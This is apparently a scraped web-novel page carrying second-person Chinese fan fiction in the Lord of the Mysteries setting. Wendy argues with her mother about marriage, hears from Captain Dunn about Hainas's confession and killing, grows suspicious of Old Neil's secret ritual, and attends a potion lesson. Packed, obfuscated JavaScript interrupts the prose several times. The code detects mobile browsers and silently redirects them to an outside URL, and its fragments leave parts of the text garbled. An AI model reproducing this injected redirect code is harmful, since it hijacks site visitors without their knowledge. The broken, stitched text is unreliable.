d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被你这么一抱一闹,妈妈也软化下来。她长长地叹了口气,那叹息里充满了对你孩子气言论的无奈,也有不愿你过早承担太多的心疼。“你呀,年纪也不小了,怎么还说这种孩子话,女人总是要结婚生孩子的,要是我不结婚不生孩子,也不会有你和西里斯啊,你看我现在有个多可爱的女儿,又懂事……” “妈妈……”你在她怀里蹭了蹭,拖长了声音,“我不要结婚,结婚的对象和我又没有血缘关系,我不相信他,妈妈以后不准再提了!妈妈要是觉得女人要生孩子,我哪天就出去外面怀一个生下来,吓死你!反正现在我一个人的工资比爸爸妈妈都高,爸爸妈妈在家帮我带宝宝我也养得起,只有我们一家人在一起,不准加什么丈夫进来!” “……不要这么说啊,孩子不能没有爸爸,你一个人养孩子也辛苦,孩子也总会长大,以后有个人一直陪着你也好。” 妈妈终究是抵不住你的撒娇耍赖,轻轻拍抚你的后背,语气妥协中带着宠溺,“你撒娇也没用……真是拿你没办法。” 你得寸进尺地在她怀里扭了扭,表示“不听不听”。 妈妈又叹了口气,这次带了点笑意,终于抬手,像小时候那样摸了摸你的脑袋。“好吧好吧,我们不着急。我们的小温蒂,想在家里再待几年也可以。” 她终究是让步了,“不过你爸爸的事还是等他下班回来再问他吧,哪有姑娘催着还能干活的爸爸休息的,他才四十多岁,还能再干十多年。你的钱是以后你自己拿来用的,你爸爸现在多工作,攒些钱,等他老了不能工作了,也好有钱用,免得还要麻烦你。” “……不过我亲爱的、可爱的宝贝有这份心的话,我会问问你爸爸愿不愿意辞掉工作和我一起干我的老本行,可不能让他休息,也要让他给你分担压力。正好我观察过邻居的太太们,聊天的时候,我听着有些个黑夜信仰女神和蒸汽之神的夫人们也愿意出门工作,但是家里都或多或少都有年龄还小的孩子,不能带着孩子出去上班,就只能待在家里看着小孩。如果我每周收费2苏勒帮她们照顾孩子,只要有5个小孩,每周就有10苏勒了,给他们做饭可以收每餐2便士,相信那些太太们也都拿得出来……可以先试试看。” 你在妈妈怀里偷偷露出一个计谋得逞的笑容,你知道妈妈虽然没有直接答应,但她已经开始规划,那基本上就已经胜利了一半。至于妈妈坚持的女人要结婚的想法,那源于她的爱和旧有的观念,你相信以你在家中、在家人中的分量,你总有一天能完全让他们接受。 楼上的西里斯似乎被楼下的动静惊动,传来开门的声音。妈妈轻轻推了推你:“好了,这么大姑娘了还撒娇,快去洗手,晚餐吃完后记得把餐盘拿下来,其他的等你爸爸回来,我们再好好商量。” “嗯!” 你松开妈妈,用力点了点头,转身走向洗漱间,脚步轻快。 89.第85章 好消息又坏消息 第二天周二,到了自己上班的日子,你准时踏入黑荆棘安保公司的大门。刚推开黑荆棘安保公司那扇略显沉重的正门,前台后面正阅读报纸的罗珊就抬起头,冲你眨了眨眼:“温蒂!你来了正好,队长让你一到公司就去他办公室。” “好,知道了,谢谢啦罗珊。” 你了然地点点头,心里大概猜到是要谈“机器”魔药和晋升的事情了。你整理了一下衣领和袖口,步履轻快地穿过略显昏暗的走廊,敲响了队长办公室的门。 “请进。” 邓恩·史密斯沉稳的声音传来。 你推门而入,邓恩队长坐在他那张堆满文件的办公桌后,手里拿着一份报告,眉头微蹙,似乎正在思考什么。办公室里弥漫着一股淡淡的烟丝未燃尽的气味,但他手上并没有烟斗。看到你进来,他放下报告,指了指对面的椅子:“坐,温蒂。” 你依言坐下,正准备开口提起准备申请晋升“机器”的事情:“队长,您找我?” 邓恩队长却抢先一步,用他那平稳无波的语调抛出了一个让你意想不到的消息: “昨天晚上,负责售卖那本安提哥努斯家族笔记的人,抓到了。” 他灰色的眼眸看向你,清晰地吐出那个名字,“是海纳斯·凡森特。” “海纳斯?!” 你下意识地重复了一遍,脸上露出惊愕。前天你们才在胖达的药店里讨论过这位传播尊名的占卜俱乐部专家,今天他就被抓了,而且还是因为安提哥努斯笔记! “不止如此,” 邓恩队长身体微微前倾,双手交叠放在桌上,随即又补充了一句,语气带着一种难以言喻的荒诞感,“他是主动自首的。但在自首过程中,他和他的同伙,一个叫西里斯·阿瑞匹斯的男人发生了激烈冲突。据海纳森供述,西里斯反对自首,两人争执不下,海纳森失手杀死了西里斯,然后才带着尸体来警署投案。” “西里斯……” 你嘴角抽搐了一下,心里忍不住吐槽:“这死者的名字怎么跟我弟弟名字一样,真不吉利。” 你默默决定今晚回家要用力揉揉弟弟的脑袋去去晦气。 压下心里的嘀咕,你回到正题,皱起眉:“队长,海纳斯他……为什么会把《安提哥努斯家族笔记》这种……嗯,明显带有非凡效果的东西卖出去?就算他不清楚全部价值,也应该知道那不是普通古董吧?” 你觉得这行为本身就很可疑。 邓恩队长点了点头,似乎对你的问题表示赞同。他习惯性地想伸手去摸桌上的烟斗,但手伸到一半,瞥了你一眼,又自然地转向,改为轻轻拍了拍自己制服的肩膀,仿佛在弹去不存在的灰尘。 “海纳斯对自己的行为供认不讳。” 队长说道,声音里带着一丝评估,“他的说法是,他和西里斯发现,那本笔记的‘收容’难度,啊,这是他们教会的说法,其实就是我们说的封印物的封印难度。他们发现安提哥努斯笔记具有‘活着’的特性,携带的负面影响和潜在危险超出了他们能够处理的范围。为了摆脱,他们才决定低价尽快脱手。” “这个理由……一点都站不住脚啊。” 你说了出来,“真要觉得危险,上报教会、找官方渠道处理,或者干脆想办法销毁,都比卖给一个不明底细的大学生要合理得多。除非……他们另有目的,或者受到了某种影响。” “我也是这么想的。事实上,他们在卖出安提哥努斯笔记之后就立刻后悔了,打算向z女士求助。从这点来看,他们也并没有完全失去理智,但他们确实又犯了糊涂,使韦尔奇和娜娅失去了宝贵的生命。” “也让我和克莱恩卷入成为了非凡者。”你默默在心里补了一句。如果没有这件事,你和克莱恩现在应该一个在廷根大学做历史系□□,一个在霍伊大学留校做数学系的□□吧。 “那他们今天,或者说昨晚,为什么又突然要自首?” 你追问,直觉这里才是关键。 邓恩队长灰色的眼眸深处闪过一丝锐利的光,他调整了一下坐姿,继续说道:“根据海纳斯的‘坦白’,他声称自己在梦中受到了‘造物主’的谕召。在神启中,他意识到自己作为真实造物主的信徒,已经走上了错误的道路,玷污了信仰。因此,他决定自首,忏悔罪行,但同伙西里斯对此并不认同,所以与海纳斯发生了争执。” “真实造物主的谕召?” 你愣了一下,随即想起昨天塔罗会上“倒吊人”的分析,以及生命学派与真实造物主可能存在的古老联系。但“谕召”导致自首?这听起来…… 似乎看出了你的疑惑,邓恩队长主动解释了一句,语气更像是在陈述某种客观现象:“真实造物主的教会,其核心途径的起始序列就是‘秘祈人’。这个序列的非凡者,天生更容易‘听’到一些……嗯,超越常规的声音或呓语。” 他顿了顿,嘴角似乎极其轻微地向下撇了一下,补充道,“现在知道了‘扮演法’,或许可以理解为,主动向神明祈求并倾听那些常人难以承受的呓语,是他们消化魔药、提升序列的方式之一。总之,在序列九‘秘祈人’和序列八‘倾听者’阶段,他们就已经能与他们所信仰的真实造物主——或者说,他们所认为的神明意志,来进行某种程度的‘交流’。这导致他们中的许多人,对于真实造物主有着超乎寻常的忠诚和……执着。” 说到这里,邓恩队长抬起右手,食指轻轻点了点自己的太阳穴,动作很轻微,但你立刻看懂了他这个肢体语言所传递的不便明言的吐槽——大概是在暗示真实造物主的很多信徒,因为长期“倾听”那些疯狂的呓语,脑子多多少少有点……不太正常。 你忍不住联想到了海纳斯私下的传教行为,以及由队长转述的、关于他自首时那套“神谕”的说辞。如果“倾听者”途径真的是这样,那一切似乎就说得通了。 你换位思考了一下,如果自己是一名“秘祈人”或“倾听者”,在低位的时候就可以与高位存在交流,真实地意识到信仰的神明真的存在,你觉得你大概也会很虔诚,更何况这个真实造物主真的给海纳斯下了谕旨。当然,这还只是海纳斯的一面之词。 等等,低序列就可以通过祈祷与高位存在对话,并且神明真的有兴趣和低位存在交流,这听起来怎么这么像始祖?你的表情一瞬间别扭起来。 “所以,” 你试着总结,“西里斯和海纳森在自首这件事上产生矛盾,甚至演变成凶杀,很可能是因为西里斯受到真实造物主呓语的影响相对较小,或者他根本不是“秘祈人”途径,所以对海纳森接受到的神谕不那么买账,反而觉得自首是愚蠢的、危险的行为?” “基本正确。” 邓恩队长赞许地点点头,“根据初步调查,西里斯·阿瑞匹斯并非‘秘祈人’或‘倾听者’,他是极光教会所掌握的不完整途径中的‘阅读者’,这条途径主要掌握在知识教会。比起完全沉浸在呓语中的‘倾听者’,‘阅读者’虽然也容易接触隐秘知识,但至少在对待真实造物主的狂热程度上,算是……相对‘有脑子’的那批人。” 队长再次用了那个微妙的措辞。 办公室里出现了短暂的沉默。你和邓恩队长隔着一张办公桌,面面相觑,都在消化这个离奇又带着某种荒诞合理性的案件。空气中弥漫着一种心照不宣的、对极光会乃至真实造物主信徒行为模式的复杂情绪——混合着警惕和不解,以及一丝对于这种因“聆听神明”而导致逻辑和行为有些异于常人的无奈。 “所以说,有时候信仰太虔诚,或者说,听到的‘神谕’太清晰,也不一定是好事啊……” 你在心里默默叹了口气。一个因“神谕”而自首并杀友,另一个则因信仰不够狂热而殒命。这起案件,从头到尾都透着一股源自疯狂信仰的诡异感。 邓恩队长似乎也暂时不打算就这个话题深入下去,他另外拿起一份报告,目光落在上面,同时也意味着这个安提哥努斯笔记的后续案件的通气到此为止。你知道,该谈正事了。 果然,关于海纳斯的话题告一段落,邓恩队长身体微微后靠,那双灰色的眼眸重新聚焦在你身上。“那么,关于你自身的情况,” 他语气平和地问道,“在你说魔药消化完全后,具体有什么感受?和之前有什么明显的不同?” 你挺直了背,认真回答:“是的,队长,已经完全消化了。感觉……调动灵性的时候,灵性在身体里流转比之前顺畅了很多,不再有那种滞涩或者隐约被卡住的感觉。” 你努力寻找着合适的词汇来描述那种微妙的变化,“而且,虽然只是主观感受,但我确实觉得自己比刚服下魔药、还没怎么消化的时候要强了一点。” 你说着,有些不好意思地挠了挠头,“不过这只是我的感觉,没法具体验证到底强了多少。” 邓恩队长微微颔首,脸上露出倾听的神色。 你突然想到一点,补充道:“对了队长,我还发现……在非凡者面前进行扮演,似乎效果更明显。我有两次清晰地感觉到消化进度猛地推进了一大截,一次是在克莱恩面前,另一次……” 你顿了顿,“是在您面前。” 你指的是之前被他拉入梦境“测试”的那次。 听到这里,邓恩队长脸上露出了然的神色,他沉静地点了点头:“这与我的猜测也有所印证。” 他看着你,忽然眨了眨右眼,嘴角勾起一个带着些许揶揄,却又充满暖意的笑容,“不瞒你说,我确实感觉自己的魔药在那之后……消化了不少。嗯,尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邓恩队长似乎敏锐地捕捉到了你脸上那一闪而过的微妙表情,他嘴角的弧度不变,灰眸中闪过一丝了然,直接问道:“怎么,温蒂?你觉得我应该也去拜访一下老尼尔的梦境?” 你点了点头,没有直接说出那个令人不安的秘密——老尼尔正在悄悄准备一个看起来就非常危险、甚至可能触犯禁忌的仪式,为此还每天偷偷割手臂放血,不得不穿着宽大的黑袍,就是为了遮掩手臂的伤痕。 你只是斟酌着词句,语气带着隐忧:“我就是有点感觉,老尼尔似乎藏着什么心事,或者说……秘密。不过队长你说的也有道理,老尼尔有妻子,随意探访他的梦境可能会伤害他和太太的感情。” 你说得很含糊,一边说一边思考还能再说些什么,最好在不暴露自己的情况下引导队长进入老尼尔的梦境。 但邓恩脸上的笑意渐渐淡去,神色变得凝重起来。他身体微微前倾,灰色的眼眸紧紧盯着你,声音也低沉了几分:“温蒂,你从哪里听说老尼尔有妻子的?” 你没想到队长的表情突然变了,一下子压力陡增:“是尼尔先生自己说的,在我成为非凡者那天。”你咬了咬下唇,看着队长的眼睛:“是有什么问题吗?在我喝下魔药之前,尼尔先生为了让我没那么紧张,逗我说可以和我跳一支舞来热身,但也只是逗我而已,尼尔先生说如果真的和我跳舞,他的太太会生他的气的……”你说着说着突然顿住了,你从来没有在老尼尔的过去里看到他的家中有女主人!如果这个所谓的尼尔太太真的存在,老尼尔日常的过往碎片中不可能不出现她的身影! 你猛地看向了队长,希望自己的猜测不是真的。 队长似乎又想抬手拿自己办公桌上的烟斗,但因为你在,所以只是抬起手臂整理了他的衣领。 他的声音听起来低沉而严肃:“温蒂,你听着,汤森德·尼尔先生从来没有什么妻子,他只有一个未婚妻,那位女士在和他结婚之前就因病去世了,她已经离开许多年了。”队长灰色的目光紧紧锁住你,似乎是不想放过你脸上任何一丝细微的变化。 你有些愣愣地听着队长的话,感觉脑子里很乱。 老尼尔时而提起的妻子已经死去很多年了,但尼尔先生却在你和克莱恩面前表现出一副妻子与他相伴至今的状态……你感觉脑子里的线索都串起来了——老尼尔每天割开手臂放血,那个感觉实在不妙的复活仪式,老尼尔身上发现的所有异常,只怕都是为了复活这位早逝的女士。 想到这里,你抬起头,小心翼翼地看向队长,声音不自觉地放得更轻:“队长,如果,我是说如果,老尼尔真的做了些出格的事,即使没有伤害他人,也会被抓起来吗?” 你问出了最深的担忧。 邓恩队长沉默了片刻,办公室里的空气仿佛都凝固了。他没有立刻回答,目光投向墙壁,又落回你身上。 最后,他缓缓地、一字一句地说道,声音低沉: “这要看老尼尔的状态,但我也希望,还没有到那一步。” 90.第86章 特别申请表 队长说的话沉甸甸地落在你心上,也许是看出了你的忧虑,他随即严肃地补充:“这件事,先不要声张,交给我来暗中调查。在查清楚之前,不要对任何人提起你的猜测和不安。” 你郑重地点头,明白这件事的敏感性,将忧虑暂时压下,知道现在最好的做法就是相信队长,并做好自己的部分。 似乎是看出了你眉宇间残留的忧虑,邓恩从抽屉里拿出一份印制精良并带有教会纹章的特殊表格,递了过来,语气转为更日常的工作口吻: “先处理你的事。像你这样潜力不错又足够敏锐的非凡者,如果晋升速度超出常规预期,按照教会的规章,需要填写这份评估申请表。” 他的语气恢复了公事公办的平稳,“提交后,教会总部会派遣专门的审查者来廷根,对你进行全面评估——精神状态、灵性稳定、身体状态,确保晋升中不会出现隐患,你本人也没有受到任何不该有的影响。当评估通过,证明你没有问题,状态确实可以晋升时,你才能进行下一序列的晋升。” 你郑重地接过表格,点点头表示明白,但想到老尼尔,情绪还是有些低落。 队长注视着你,灰色的眼眸里多了几分温和,又多说了几句,带着宽慰的意味:“温蒂,别太担心。你要对老尼尔有些信心,相信他的本心,相信他对女神、对值夜者这份职务的忠诚。发现了问题,但很多时候问题并不意味着没有机会挽回。也许,到最后我们还能经常在这里看到他,听他抱怨奥利安娜太太又卡了他的报销单。” 他甚至对你笑了笑,笑容里带着一种让你安心的力量:“往好的方面想,可能结果只是限制他的活动范围,要求他以后每天去圣赛琳娜教堂做祷告,接受女神的视察而已。” 这番话确实让你心里好受了一些。你扯出一个不算灿烂但真心实意的笑容,点了点头:“我明白了,队长。我会相信尼尔先生的。” “嗯。” 邓恩队长站起身,走到你身边,宽厚的手掌轻轻拍了拍你的肩膀,“去吧,把申请表填好。现在……就先去上老尼尔的课。” 他顿了顿,声音压低了些,冲你默契地挤了挤右眼,“帮我多观察一下老尼尔,用你的方式。” 这个带着任务性质却又隐含信任的眨眼,让你终于真正地、放松地笑了出来,心里的阴霾被驱散了大半。“好!保证完成任务!” 你应道,拿着申请表,转身离开了队长办公室。 所谓的上课,其实就是去地下武器听老尼尔讲授仪式魔法和各种零碎的神秘学知识。你成为非凡者才半个月,虽然机缘巧合加入了愚者先生这种高阶存在的隐秘组织,但自身的神秘学基础其实相当薄弱,其实你自己也觉得自己不适合在这个时候晋升,但是不知道为什么,你有点隐隐的危机感和不好的预感。 晋升对你来说,用个不太恰当的比喻:就好像刚学会歪歪扭扭地跑,甚至自己哪条腿是瘸的都还没完全搞清楚,就被人告知可以进行下一阶段的训练了——前提是别在半路把自己摔死。你一边腹诽,一边拿着申请表往外走。 刚走出队长办公室没几步,就在略显昏暗的走廊里遇见了戴莉·西蒙妮女士。她今天依旧是一身带着些神秘风格的深色长裙,妆容精致大胆,鲜红的嘴唇勾勒出上扬的弧度,碧绿的眼眸在昏暗光线下像猫一样闪烁着玩味的光。要不是你知道你和她关系平平,一共就没见过几面,你觉得自己肯定会自恋地想戴莉女士早就在等你,因为她那双会说话的眼睛是那样容易让你陷入这种误会。 做好准备,你规规矩矩地打了个招呼。听到你主动问好,看到你手中那份显眼的申请表,戴莉女士那极具特色的微微上翘的嘴角弧度更明显了,她用一种慵懒又带着审视的目光扫过你全身:“哦?队里的小‘怪物’,你才加入多少天,这就要准备要晋升了?” 她的声音如同天鹅绒般丝滑,却带着穿透力。 你点点头,有些拿不准这位性格独特的前辈特意在这里等你是为了什么。你下意识以为她是来找队长的,侧身指了指身后的办公室门:“戴莉女士,队长他就在里面。” “我知道他在里面。” 戴莉轻笑一声,语气里带着一丝说不清道不明的意味,“邓恩嘛,他很少离开他的办公室。处理那些文书和报告,他的效率总是……嗯,很一般。” 她毫不客气地评价着你的顶头上司。 你明智地没有接这句话,只是保持着礼貌的微笑。这位女士和队长之间的关系似乎有些微妙,不是你能置喙的。 戴莉女士似乎对你这种谨慎的反应起了兴趣,她向前走了半步,离你更近了些,身上那种混合了香水与某种草药的气息淡淡传来。“队长最近……怎么样?” 她问道,绿眸凝视着你,仿佛想从你脸上看出些什么。 你想了想,觉得这不算什么需要保密的信息,便如实回答:“队长说他最近感觉好多了,分不清梦境和现实的情况缓解了很多。他还说……打算去伦纳德他们的梦境里,认真扮演‘梦魇’,帮助消化魔药。” 你说着,想起了队长刚才那个“挤眼”,嘴角不自觉也带了点笑。 “哦?” 戴莉女士听到这个消息,上翘的嘴唇弧度顿时变得更加明显,碧绿的眼眸里闪过一丝促狭和……愉悦?她突然伸出手,冰凉而细腻的手指轻轻捏了捏你的脸颊,动作快得让你来不及反应。 “真是个好女孩,消息很灵通嘛。” 她收回手,语气里带着毫不掩饰的欣赏(或者说是逗弄),“这么聪明又可爱的队员,怎么就被邓恩那个老古板给捡到了?” 她歪了歪头,像是突发奇想,“怎么样,小温蒂,要不要考虑跟我去贝克兰德?那里可比廷根有趣多了。” 你当然知道戴莉女士多半是在开玩笑,但面对这样一位美丽又强大的女士的邀请(哪怕是玩笑),你还是忍不住微微红了脸,心里嘀咕:“怎么回事,绿眼睛的都是美人吗?戴莉女士是这样,伦纳德那家伙也是这样……” 不过,你敏锐地捕捉到了她话里的关键信息。“贝克兰德?” 你抬起眼,看向她,“戴莉女士,您……这么快酒又要调任到贝克兰德教区了吗?” 得益于队长在教育队员时经常把优秀非凡者戴莉女士挂在嘴边,你知道戴莉女士原本是廷根的值夜者小队队员,后因为晋升快速,便升调到了恩马港,现在戴莉女士又突然提到王国的首都,很难不让人联想到工作调动。 戴莉女士只是笑了笑,没有肯定也没有否定,那抹暗沉的蓝色唇彩在昏暗的光线下显得格外神秘。她优雅地直起身,拍了拍并不存在的灰尘,对你摆了摆手:“好了,不打搅你了,小‘怪物’。记得把申请表填好哦,晋升评估可不是闹着玩的,不过我觉得你没问题。” 说完,她便迈着轻盈而富有韵律感的步子,与你擦肩而过,走向走廊深处,留下淡淡的香气和一个令人浮想联翩的背影。 你站在原地,看着她离去的方向,又低头看了看手中的申请表,最后望向通往地下的楼梯。 “算了,先填表,然后去上课,观察一下老尼尔。” 你深吸一口气,将纷乱的念头压下,握紧了手中的表格。 那份特殊状态评估申请表需要填写的内容并不复杂,你甚至觉得,比起自己在大学里要填的那些繁琐的入学登记、奖学金申请之类的表格,这份关乎非凡者晋升的申请表显得有些“简陋”和“粗糙”了。 无非是姓名、序列、籍贯、成为非凡者的具体日期(你仔细回想了一下)、所属小队(鲁恩王国阿霍瓦郡廷根市特别行动部第七小队)、直系上级(邓恩·史密斯),以及最重要的部分——自我陈述:简述消化情况,申请晋升下一序列的理由。 在公共文职区找了个空位坐下,你认真地写下自己成为非凡者的具体日期,然后郑重地在“自我评估”一栏里写下:认为自身已完全掌握“怪物”魔药所含的非凡力量,精神稳定,灵性增长符合预期,现申请晋升至序列八“机器”。 写完,检查一遍,你放下笔,看着这张决定自己能否迈向序列8的关键纸张,忽然觉得它轻飘飘的,心里冒出个念头:“或许我该把我上学时用的那个亚麻布包带来,再塞一本大学专业课的大部头。这样,申请表可以夹在书里,平时也能看看书……显得更像个正常文员。” 毕竟,直接拿着一份写着“非凡者晋升申请”的表格在不算特别宽敞的公司里走来走去,感觉有点……招摇? 更重要的是,你还有点拿不准戴莉女士是否还在队长办公室里。如果她现在还没离开,自己贸然敲门进去交表,同时面对队长和戴莉女士……脑补了一下自己敲门进去,同时面对队长和戴莉女士的情景——夹在他们那种旁人难以插足的、微妙又熟稔的氛围里。你下意识地撇了撇嘴,决定还是暂时避开为妙。你总觉得,他们两人之间有种微妙的气场,旁人插进去会显得格外尴尬和不自在。 你最终决定先把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395391|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申请表的事情放一放,直接拿着它去上老尼尔的课。炼金室里弥漫着熟悉的混合了草药、矿物和淡淡腥甜(可能是某种灵性材料)的气味。克莱恩今天轮休不在,只有老尼尔在整理着一些晒干的植物根茎。 他看到你进来,推了推鼻梁上那副总是容易滑在鼻头上的眼镜,目光扫过你手里的表格,那双因红色的眼睛里流露出一丝复杂的情绪。 “特别申请表啊……” 老尼尔声音里带着一种过来人的、略显沧桑的感慨,“温蒂,你很优秀,这么快就走到这一步了,我上次见到这玩意还是戴莉在的时候……” 他摇摇头,叹口气,“唉,要是我当年也有机会,能找到下一序列的魔药,成为更高级的非凡者就好了……” 话没说完,他自己又笑了笑,带着点自嘲,“至少,工资还能跟着年限再涨几镑,当然,现在也还不错。” 因为刚刚和队长讨论过老尼尔可能存在的秘密,你现在听老尼尔说的每一句话,都忍不住去揣摩背后是否有更深层的含义。这声感叹,是单纯对晋升无望的遗憾,还是……其他更隐秘的缘由?你暂时没有立场去追问,于是只是安静地听着。 老尼尔似乎也无意在这个话题上多谈,他转过身,一边摆弄着桌上的器皿,一边用略显含糊的声音继续说:“而且啊,就算真能晋升,估计也不能像现在这样,安安稳稳待在后勤,给新来的小年轻们上上课、配配药了。多半得经常出外勤,跟那些危险的家伙、邪门的玩意儿打交道……说不定,都活不到现在这个岁数。” 这话里的内容更沉重了。你一时语塞,不知该如何回应,只能扯出一个有些勉强的笑容,试图用轻松的语气岔开:“尼尔先生您这话说的,您可是咱们廷根值夜者小队所有队员的神秘学启蒙老师!哪个队员没听过您的课?明明这么厉害,非要谦虚说自己是‘后勤’。” 果然,老尼尔很受用这种带着恭维的实话。他摆了摆手,但嘴角的皱纹因为笑意而加深了:“就你会说话,小温蒂。女孩儿的话就是中听。” 他显然很受用你这番话,情绪似乎好转了些,不再沉溺于刚才略带伤感的话题,清了清嗓子,“好了,闲话少说,我们开始今天的正课。今天讲讲几种基础非凡药剂的配置,重点是‘宁神药剂’和‘止血粉’的简易制法……” 老尼尔讲解的配药过程,与过去你想象中的“精密化学实验”大相径庭,甚至可以说相当“粗放。称量材料时,他用的是带刻度的简陋玻璃量筒和老式天平,但对“少许”、“适量”、“一小撮”这类词汇运用得炉火纯青。研磨材料时,石臼被他捣得砰砰响,粉末飞扬也毫不在意。 不过,老尼尔一边操作,一边也反复强调:“记住,对于这些效果简单、使用的材料本身灵性也不强的普通药剂,剂量上有些许偏差,通常不会对药效产生决定性的影响,更不会对人体造成额外的副作用。” 他拿起一小撮干枯的银月草粉末,“但!如果涉及到蕴含较强灵性的材料,尤其是那些可以作为魔药主材或者接近主材层次的非凡植物、矿物,那就必须慎之又慎,严格遵循配方,不然就像罗塞尔大帝说的那样,一毫米的错误导致结果出现一千里的偏差。轻则引发灵性紊乱,严重可能会有更糟的后果。” 你认真地在他的指导下尝试调配了一份简易的“宁神药剂”,并将要点记录在值夜者内部发放的笔记本上。再次觉得,有个大点的、能装下书本和笔记本的布包实在太有必要了。 对于老尼尔一贯粗放的教学风格,你内心并不感到意外。毕竟,在经常需要去弗拉德街那家隐秘药店拜访真“药师”的你看来,真正的“药师”在调配那些用于治疗普通人认知中绝症,需要用到非凡植物的强效药剂时,其过程往往也谈不上多么精细优雅。 用量大的时候,那些珍贵的、散发着奇异光泽的根茎叶花被丢进特制的大坩埚里,伴随着复杂的灵性引导和仪式步骤,搅拌蒸煮的场景,和你家里用大铁锅炖菜的架势也差不了太多——当然,内在的非凡原理和风险是天壤之别。非凡世界的精准,更多体现在灵性层面的掌控、仪式的完整以及对材料特性的深刻理解上,而非单纯物理意义上的精密计量。 一堂课下来,你感觉收获颇丰,初步掌握了两种实用药剂的配制方法。只是,看着老尼尔那双手,想起他可能每日进行的危险放血仪式,你心头那刚刚因为学习新知识而升起的些许轻松,又悄然沉了下去。